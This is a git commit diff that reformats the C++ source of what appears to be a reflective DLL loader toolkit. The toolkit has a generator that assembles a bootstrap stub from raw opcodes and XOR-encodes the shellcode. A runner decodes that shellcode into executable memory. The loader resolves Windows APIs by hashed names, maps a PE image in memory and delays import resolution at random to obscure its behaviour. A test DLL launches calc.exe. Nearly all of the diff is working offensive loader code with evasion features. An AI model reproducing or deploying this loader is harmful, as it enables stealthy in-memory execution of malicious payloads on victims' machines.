proper linting & google formatting
This commit is contained in:
parent
2aa60ccc61
commit
ef9b173c6e
@ -1,9 +1,12 @@
|
|||||||
#include "generator.hpp"
|
#include "generator.hpp"
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
#include "../shared/crypto.hpp"
|
#include "../shared/crypto.hpp"
|
||||||
#include "../shared/futils.hpp"
|
#include "../shared/futils.hpp"
|
||||||
|
|
||||||
int main(int argc, char **argv)
|
int main(int argc, char **argv) {
|
||||||
{
|
|
||||||
uint8_t flag = false;
|
uint8_t flag = false;
|
||||||
std::string loaderPath, payloadPath, funcName, funcParameter, outputPath;
|
std::string loaderPath, payloadPath, funcName, funcParameter, outputPath;
|
||||||
|
|
||||||
@ -20,10 +23,8 @@ int main(int argc, char **argv)
|
|||||||
auto optionIndex = 0;
|
auto optionIndex = 0;
|
||||||
int c;
|
int c;
|
||||||
|
|
||||||
while ((c = getopt_long(argc, argv, "l:p:n:a:o:fh", longOptions, &optionIndex)))
|
while ((c = getopt_long(argc, argv, "l:p:n:a:o:fh", longOptions, &optionIndex))) {
|
||||||
{
|
switch (c) {
|
||||||
switch (c)
|
|
||||||
{
|
|
||||||
case 'l':
|
case 'l':
|
||||||
loaderPath = optarg;
|
loaderPath = optarg;
|
||||||
break;
|
break;
|
||||||
@ -51,8 +52,7 @@ int main(int argc, char **argv)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (loaderPath.empty() || payloadPath.empty() || funcName.empty() || funcParameter.empty(), outputPath.empty())
|
if (loaderPath.empty() || payloadPath.empty() || funcName.empty() || funcParameter.empty(), outputPath.empty()) {
|
||||||
{
|
|
||||||
std::cout << "[!] Missing required arguments" << std::endl;
|
std::cout << "[!] Missing required arguments" << std::endl;
|
||||||
PrintHelp(argv);
|
PrintHelp(argv);
|
||||||
return 1;
|
return 1;
|
||||||
@ -155,16 +155,14 @@ int main(int argc, char **argv)
|
|||||||
bootstrap.push_back(0xc0);
|
bootstrap.push_back(0xc0);
|
||||||
auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size();
|
auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size();
|
||||||
|
|
||||||
for (size_t i = 0; i < sizeof(funcParameterOffset); i++)
|
for (size_t i = 0; i < sizeof(funcParameterOffset); i++) {
|
||||||
{
|
|
||||||
bootstrap.push_back(static_cast<BYTE>(funcParameterOffset >> (i * 8) & 0xff));
|
bootstrap.push_back(static_cast<BYTE>(funcParameterOffset >> (i * 8) & 0xff));
|
||||||
}
|
}
|
||||||
|
|
||||||
// mov edx, <funcParameterHash> -> Copy the 2nd parameter, the hash of the function parameter, into edx
|
// mov edx, <funcParameterHash> -> Copy the 2nd parameter, the hash of the function parameter, into edx
|
||||||
bootstrap.push_back(0xba);
|
bootstrap.push_back(0xba);
|
||||||
|
|
||||||
for (size_t i = 0; i < sizeof(funcParameterHash); i++)
|
for (size_t i = 0; i < sizeof(funcParameterHash); i++) {
|
||||||
{
|
|
||||||
bootstrap.push_back(static_cast<BYTE>(funcParameterHash >> (i * 8) & 0xff));
|
bootstrap.push_back(static_cast<BYTE>(funcParameterHash >> (i * 8) & 0xff));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -174,8 +172,7 @@ int main(int argc, char **argv)
|
|||||||
bootstrap.push_back(0xc1);
|
bootstrap.push_back(0xc1);
|
||||||
auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
|
auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
|
||||||
|
|
||||||
for (size_t i = 0; i < sizeof(payloadOffset); i++)
|
for (size_t i = 0; i < sizeof(payloadOffset); i++) {
|
||||||
{
|
|
||||||
bootstrap.push_back(static_cast<BYTE>(payloadOffset >> (i * 8) & 0xff));
|
bootstrap.push_back(static_cast<BYTE>(payloadOffset >> (i * 8) & 0xff));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -187,8 +184,7 @@ int main(int argc, char **argv)
|
|||||||
bootstrap.push_back(0xe8);
|
bootstrap.push_back(0xe8);
|
||||||
auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size();
|
auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size();
|
||||||
|
|
||||||
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++)
|
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) {
|
||||||
{
|
|
||||||
bootstrap.push_back(static_cast<BYTE>(reflectiveLoaderAddress >> (i * 8) & 0xff));
|
bootstrap.push_back(static_cast<BYTE>(reflectiveLoaderAddress >> (i * 8) & 0xff));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -215,8 +211,7 @@ int main(int argc, char **argv)
|
|||||||
bootstrap.push_back(0x90);
|
bootstrap.push_back(0x90);
|
||||||
bootstrap.push_back(0x90);
|
bootstrap.push_back(0x90);
|
||||||
|
|
||||||
if (bootstrap.size() != BOOTSTRAP_LEN)
|
if (bootstrap.size() != BOOTSTRAP_LEN) {
|
||||||
{
|
|
||||||
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl;
|
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl;
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
@ -239,7 +234,7 @@ int main(int argc, char **argv)
|
|||||||
// XOR with a random content length key
|
// XOR with a random content length key
|
||||||
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
|
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
|
||||||
auto key = GenerateKey(bootstrap.size());
|
auto key = GenerateKey(bootstrap.size());
|
||||||
XorCipher(bootstrap, key);
|
XorCipher(&bootstrap, key);
|
||||||
|
|
||||||
std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
|
std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
|
||||||
|
|
||||||
@ -253,8 +248,7 @@ int main(int argc, char **argv)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void PrintHelp(char **argv)
|
void PrintHelp(char **argv) {
|
||||||
{
|
|
||||||
std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
|
std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
|
||||||
std::cout << "\nArguments:" << std::endl;
|
std::cout << "\nArguments:" << std::endl;
|
||||||
std::cout << "\t-l, --loader Path to loader file" << std::endl;
|
std::cout << "\t-l, --loader Path to loader file" << std::endl;
|
||||||
|
@ -1,7 +1,8 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
#include <getopt.h>
|
#include <getopt.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
|
|
||||||
constexpr auto BOOTSTRAP_LEN = 79;
|
constexpr auto BOOTSTRAP_LEN = 79;
|
||||||
|
@ -1,14 +1,14 @@
|
|||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include "../shared/futils.hpp"
|
|
||||||
#include "../shared/crypto.hpp"
|
#include "../shared/crypto.hpp"
|
||||||
|
#include "../shared/futils.hpp"
|
||||||
|
|
||||||
#define VERBOSE 1
|
#define VERBOSE 1
|
||||||
|
|
||||||
int main(int argc, char **argv)
|
int main(int argc, char **argv) {
|
||||||
{
|
if (argc != 3) {
|
||||||
if (argc != 3)
|
|
||||||
{
|
|
||||||
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>" << std::endl;
|
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>" << std::endl;
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
@ -29,12 +29,11 @@ int main(int argc, char **argv)
|
|||||||
std::cout << "[+] XOR'ing shellcode" << std::endl;
|
std::cout << "[+] XOR'ing shellcode" << std::endl;
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
XorCipher(shellcodeContents, key);
|
XorCipher(&shellcodeContents, key);
|
||||||
|
|
||||||
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
if (!baseAddress)
|
if (!baseAddress) {
|
||||||
{
|
|
||||||
std::cout << "[!] Failed to allocate memory" << std::endl;
|
std::cout << "[!] Failed to allocate memory" << std::endl;
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
@ -8,18 +8,15 @@
|
|||||||
#define DLL_EXPORT __declspec(dllimport)
|
#define DLL_EXPORT __declspec(dllimport)
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
|
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
|
||||||
{
|
if (dwReason == DLL_PROCESS_ATTACH) {
|
||||||
if (dwReason == DLL_PROCESS_ATTACH)
|
|
||||||
{
|
|
||||||
CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL);
|
CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize)
|
BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize) {
|
||||||
{
|
|
||||||
auto lpText = static_cast<LPCWSTR>(lpUserData);
|
auto lpText = static_cast<LPCWSTR>(lpUserData);
|
||||||
MessageBoxW(NULL, lpText, L"Hello World!", MB_OK);
|
MessageBoxW(NULL, lpText, L"Hello World!", MB_OK);
|
||||||
|
|
||||||
|
@ -1,16 +1,19 @@
|
|||||||
#include "loader.hpp"
|
#include "loader.hpp"
|
||||||
|
|
||||||
|
#include <tuple>
|
||||||
|
#include <utility>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
#include "../shared/crypto.hpp"
|
#include "../shared/crypto.hpp"
|
||||||
|
|
||||||
void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags)
|
void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags) {
|
||||||
{
|
|
||||||
/*
|
/*
|
||||||
1.) Locate the required functions and modules from exports with their hashed names
|
1.) Locate the required functions and modules from exports with their hashed names
|
||||||
*/
|
*/
|
||||||
|
|
||||||
auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH);
|
auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH);
|
||||||
|
|
||||||
if (pbKernel32Dll == nullptr)
|
if (pbKernel32Dll == nullptr) {
|
||||||
{
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -24,8 +27,7 @@ void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserData
|
|||||||
auto pVirtualProtect = reinterpret_cast<VIRTUAL_PROTECT>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, eng));
|
auto pVirtualProtect = reinterpret_cast<VIRTUAL_PROTECT>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, eng));
|
||||||
auto pSleep = reinterpret_cast<SLEEP>(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, eng));
|
auto pSleep = reinterpret_cast<SLEEP>(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, eng));
|
||||||
|
|
||||||
if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr)
|
if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr) {
|
||||||
{
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -36,20 +38,13 @@ void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserData
|
|||||||
|
|
||||||
auto pNtHeaders = GetNtHeaders(pImage);
|
auto pNtHeaders = GetNtHeaders(pImage);
|
||||||
|
|
||||||
if (pNtHeaders == nullptr)
|
if (pNtHeaders == nullptr) {
|
||||||
{
|
|
||||||
return;
|
return;
|
||||||
}
|
} else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||||
else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
|
|
||||||
{
|
|
||||||
return;
|
return;
|
||||||
}
|
} else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
|
||||||
else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64)
|
|
||||||
{
|
|
||||||
return;
|
return;
|
||||||
}
|
} else if (pNtHeaders->OptionalHeader.SectionAlignment & 1) {
|
||||||
else if (pNtHeaders->OptionalHeader.SectionAlignment & 1)
|
|
||||||
{
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -59,13 +54,11 @@ void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserData
|
|||||||
// Try to allocate the image to the preferred base address
|
// Try to allocate the image to the preferred base address
|
||||||
auto pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(reinterpret_cast<LPVOID>(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
auto pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(reinterpret_cast<LPVOID>(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
||||||
|
|
||||||
if (!pNewImageBase)
|
if (!pNewImageBase) {
|
||||||
{
|
|
||||||
// Try to allocate the image to any available base address
|
// Try to allocate the image to any available base address
|
||||||
pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
||||||
|
|
||||||
if (!pNewImageBase)
|
if (!pNewImageBase) {
|
||||||
{
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -79,8 +72,7 @@ void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserData
|
|||||||
auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
|
auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
|
||||||
auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||||
|
|
||||||
if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta))
|
if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta)) {
|
||||||
{
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -88,8 +80,7 @@ void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserData
|
|||||||
4.) Resolve the imports by patching the Import Address Table (IAT)
|
4.) Resolve the imports by patching the Import Address Table (IAT)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, eng))
|
if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, eng)) {
|
||||||
{
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -103,15 +94,12 @@ void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserData
|
|||||||
6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
|
6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
|
||||||
*/
|
*/
|
||||||
|
|
||||||
if (dwFlags == 0)
|
if (dwFlags == 0) {
|
||||||
{
|
|
||||||
// Execute DllMain with DLL_PROCESS_ATTACH
|
// Execute DllMain with DLL_PROCESS_ATTACH
|
||||||
auto pDllMain = reinterpret_cast<DLL_MAIN>(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
|
auto pDllMain = reinterpret_cast<DLL_MAIN>(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
|
||||||
// Optionally user data could also be passed to the DllMain instead of a separate function
|
// Optionally user data could also be passed to the DllMain instead of a separate function
|
||||||
pDllMain(reinterpret_cast<HMODULE>(pNewImageBase), DLL_PROCESS_ATTACH, nullptr);
|
pDllMain(reinterpret_cast<HMODULE>(pNewImageBase), DLL_PROCESS_ATTACH, nullptr);
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
// Execute user defined function
|
// Execute user defined function
|
||||||
auto pbNewImageBase = reinterpret_cast<PBYTE>(pNewImageBase);
|
auto pbNewImageBase = reinterpret_cast<PBYTE>(pNewImageBase);
|
||||||
auto pUserFunction = reinterpret_cast<USER_FUNCTION>(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, eng));
|
auto pUserFunction = reinterpret_cast<USER_FUNCTION>(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, eng));
|
||||||
@ -119,15 +107,13 @@ void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserData
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache)
|
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) {
|
||||||
{
|
|
||||||
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
|
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
|
||||||
|
|
||||||
DWORD dwOldProtect, dwNewProtect;
|
DWORD dwOldProtect, dwNewProtect;
|
||||||
LPVOID lpAddress;
|
LPVOID lpAddress;
|
||||||
|
|
||||||
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++)
|
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) {
|
||||||
{
|
|
||||||
dwNewProtect = 0;
|
dwNewProtect = 0;
|
||||||
|
|
||||||
// Definitions for readability
|
// Definitions for readability
|
||||||
@ -135,43 +121,35 @@ void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders
|
|||||||
DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
|
DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
|
||||||
DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
||||||
|
|
||||||
if (!dwIsExecutable && !dwIsReadable && !dwIsWritable)
|
if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) {
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_NOACCESS;
|
dwNewProtect = PAGE_NOACCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (dwIsWritable)
|
if (dwIsWritable) {
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_WRITECOPY;
|
dwNewProtect = PAGE_WRITECOPY;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (dwIsReadable)
|
if (dwIsReadable) {
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_READONLY;
|
dwNewProtect = PAGE_READONLY;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (dwIsWritable && dwIsReadable)
|
if (dwIsWritable && dwIsReadable) {
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_READWRITE;
|
dwNewProtect = PAGE_READWRITE;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (dwIsExecutable)
|
if (dwIsExecutable) {
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_EXECUTE;
|
dwNewProtect = PAGE_EXECUTE;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (dwIsExecutable && dwIsWritable)
|
if (dwIsExecutable && dwIsWritable) {
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_EXECUTE_WRITECOPY;
|
dwNewProtect = PAGE_EXECUTE_WRITECOPY;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (dwIsExecutable && dwIsReadable)
|
if (dwIsExecutable && dwIsReadable) {
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_EXECUTE_READ;
|
dwNewProtect = PAGE_EXECUTE_READ;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (dwIsExecutable && dwIsWritable && dwIsReadable)
|
if (dwIsExecutable && dwIsWritable && dwIsReadable) {
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_EXECUTE_READWRITE;
|
dwNewProtect = PAGE_EXECUTE_READWRITE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -182,12 +160,10 @@ void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders
|
|||||||
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0);
|
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng)
|
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, const std::mt19937 &eng) {
|
||||||
{
|
|
||||||
auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
|
auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
|
||||||
|
|
||||||
if (pImportDescriptor == nullptr)
|
if (pImportDescriptor == nullptr) {
|
||||||
{
|
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -201,8 +177,7 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
int importCount = 0;
|
int importCount = 0;
|
||||||
auto pId = pImportDescriptor;
|
auto pId = pImportDescriptor;
|
||||||
|
|
||||||
while (pId->Name)
|
while (pId->Name) {
|
||||||
{
|
|
||||||
importCount++;
|
importCount++;
|
||||||
pId++;
|
pId++;
|
||||||
}
|
}
|
||||||
@ -210,10 +185,8 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
std::vector<std::pair<int, DWORD>> sleepDurations;
|
std::vector<std::pair<int, DWORD>> sleepDurations;
|
||||||
std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS);
|
std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS);
|
||||||
|
|
||||||
if (importCount > 1 && OBFUSCATE_IMPORTS)
|
if (importCount > 1 && OBFUSCATE_IMPORTS) {
|
||||||
{
|
for (auto i = 0; i < importCount - 1; i++) {
|
||||||
for (auto i = 0; i < importCount - 1; i++)
|
|
||||||
{
|
|
||||||
std::uniform_int_distribution<> distr(i, importCount - 1);
|
std::uniform_int_distribution<> distr(i, importCount - 1);
|
||||||
int j = distr(eng);
|
int j = distr(eng);
|
||||||
|
|
||||||
@ -232,16 +205,12 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
HMODULE hModule;
|
HMODULE hModule;
|
||||||
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
|
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
|
||||||
|
|
||||||
for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++)
|
for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++) {
|
||||||
{
|
|
||||||
// Apply delay
|
// Apply delay
|
||||||
if (OBFUSCATE_IMPORTS)
|
if (OBFUSCATE_IMPORTS) {
|
||||||
{
|
auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair<int, DWORD> &pair) { return pair.first == i; });
|
||||||
auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair<int, DWORD> &pair)
|
|
||||||
{ return pair.first == i; });
|
|
||||||
|
|
||||||
if (it != sleepDurations.end())
|
if (it != sleepDurations.end()) {
|
||||||
{
|
|
||||||
pSleep(it->second);
|
pSleep(it->second);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -249,8 +218,7 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
|
pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
|
||||||
hModule = pLoadLibraryW(pwszModuleName);
|
hModule = pLoadLibraryW(pwszModuleName);
|
||||||
|
|
||||||
if (hModule == nullptr)
|
if (hModule == nullptr) {
|
||||||
{
|
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -260,15 +228,11 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
LPCSTR lpProcName;
|
LPCSTR lpProcName;
|
||||||
PIMAGE_IMPORT_BY_NAME pImportByName;
|
PIMAGE_IMPORT_BY_NAME pImportByName;
|
||||||
|
|
||||||
for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++)
|
for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++) {
|
||||||
{
|
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
|
||||||
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
|
|
||||||
{
|
|
||||||
// High bits masked out to get the ordinal number
|
// High bits masked out to get the ordinal number
|
||||||
lpProcName = reinterpret_cast<LPCSTR>(pThunkData->u1.Ordinal & 0xFFFF);
|
lpProcName = reinterpret_cast<LPCSTR>(pThunkData->u1.Ordinal & 0xFFFF);
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
|
// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
|
||||||
pImportByName = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(pNewImageBase + pThunkData->u1.AddressOfData);
|
pImportByName = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(pNewImageBase + pThunkData->u1.AddressOfData);
|
||||||
lpProcName = pImportByName->Name;
|
lpProcName = pImportByName->Name;
|
||||||
@ -281,12 +245,10 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta)
|
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) {
|
||||||
{
|
|
||||||
auto pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pNewImageBase + pDataDirectory->VirtualAddress);
|
auto pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pNewImageBase + pDataDirectory->VirtualAddress);
|
||||||
|
|
||||||
if (pRelocation == nullptr || pDataDirectory->Size == 0)
|
if (pRelocation == nullptr || pDataDirectory->Size == 0) {
|
||||||
{
|
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
